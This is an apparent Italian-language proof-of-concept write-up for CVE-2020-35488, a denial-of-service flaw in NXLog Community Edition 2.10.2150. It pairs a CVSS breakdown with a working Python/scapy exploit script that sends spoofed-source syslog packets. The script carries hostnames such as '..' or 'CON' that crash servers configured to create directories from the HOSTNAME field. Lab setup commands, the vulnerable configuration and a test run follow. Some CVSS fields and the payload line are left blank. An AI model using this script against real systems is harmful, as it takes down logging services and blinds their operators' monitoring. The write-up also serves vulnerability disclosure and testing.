
Exploit proof-of-concept per CVE-2020-35488, una vulnerabilità denial-of-service in NXLOG Community Edition tramite payload syslog appositamente predisposti che causano errori di creazione di directory.
Ho trovato una vulnerabilità nel prodotto: nxlog-ce_2.10.2150.
Ho testato la mia PoC solo su Linux (Debian 10) e Windows (Windows Server 2016).
Ambito : NXLOG Community Edition 2.10.2150
Tipo di bug : CWE-502, Deserializzazione di dati non attendibili https://cwe.mitre.org/data/definitions/502.html
Parte vulnerabile : Payload Syslog
Payload :
IL MIO CALCOLO CVSS :
Vettore di attacco : Network
Privilegi richiesti : None
Ambito : Unchanged
Integrità : None
Complessità di attacco : Low
Interazione dell'utente : None
Riservatezza : None
Disponibilità : High
PUNTEGGIO CVSS : 7.5
GRAVITÀ : HIGH
CALCOLO CVSS DA NIST : Link : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Vettore di attacco :
Privilegi richiesti :
Ambito :
Integrità :
Complessità di attacco :
Interazione dell'utente :
Riservatezza :
Disponibilità :
PUNTEGGIO CVSS (3.X) : 7.5
GRAVITÀ : HIGH
Questa vulnerabilità può causare un DoS del server NXLOG.
Tuttavia il server deve avere una configurazione specifica: il file di configurazione di nxlog deve definire la creazione di una directory basata su un campo di una parte del payload Syslog.
Campo Syslog: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields
Il software tenta di creare una directory, ma il nome di questa directory non può essere creato sul file system.
Poiché il nome di questa directory è proibito.
Ecco un esempio di nome di directory impossibile da creare:
Quindi, se il file di configurazione è impostato per creare un nome di directory a partire dal payload Syslog, un attaccante può spegnere il servizio Nxlog.
Per sfruttare questa vulnerabilità ho creato uno script Python:
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Installa il servizio Nxlog su Debian 10:
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
File di configurazione del servizio nxlog:
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Avvia il servizio Nxlog:
systemctl start nxlog
systemctl status nxlog
Risultato:
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Verifica:
lsof -i :514
Risultato:
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ok, ottimo!
Con il mio script Python posso semplicemente inviare un messaggio Syslog per testare se il servizio Nxlog crea una directory.
Il nome della directory si basa sul campo HOSTNAME del payload Syslog. (Vedi file di configurazione)
Quindi:
./syslog-exploit.py -ip 192.168.1.55 -os 3
La terza opzione specifica l'hostname 123soleil nel payload Syslog.
Quindi:
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Ok, il server Nxlog e il client Syslog funzionano!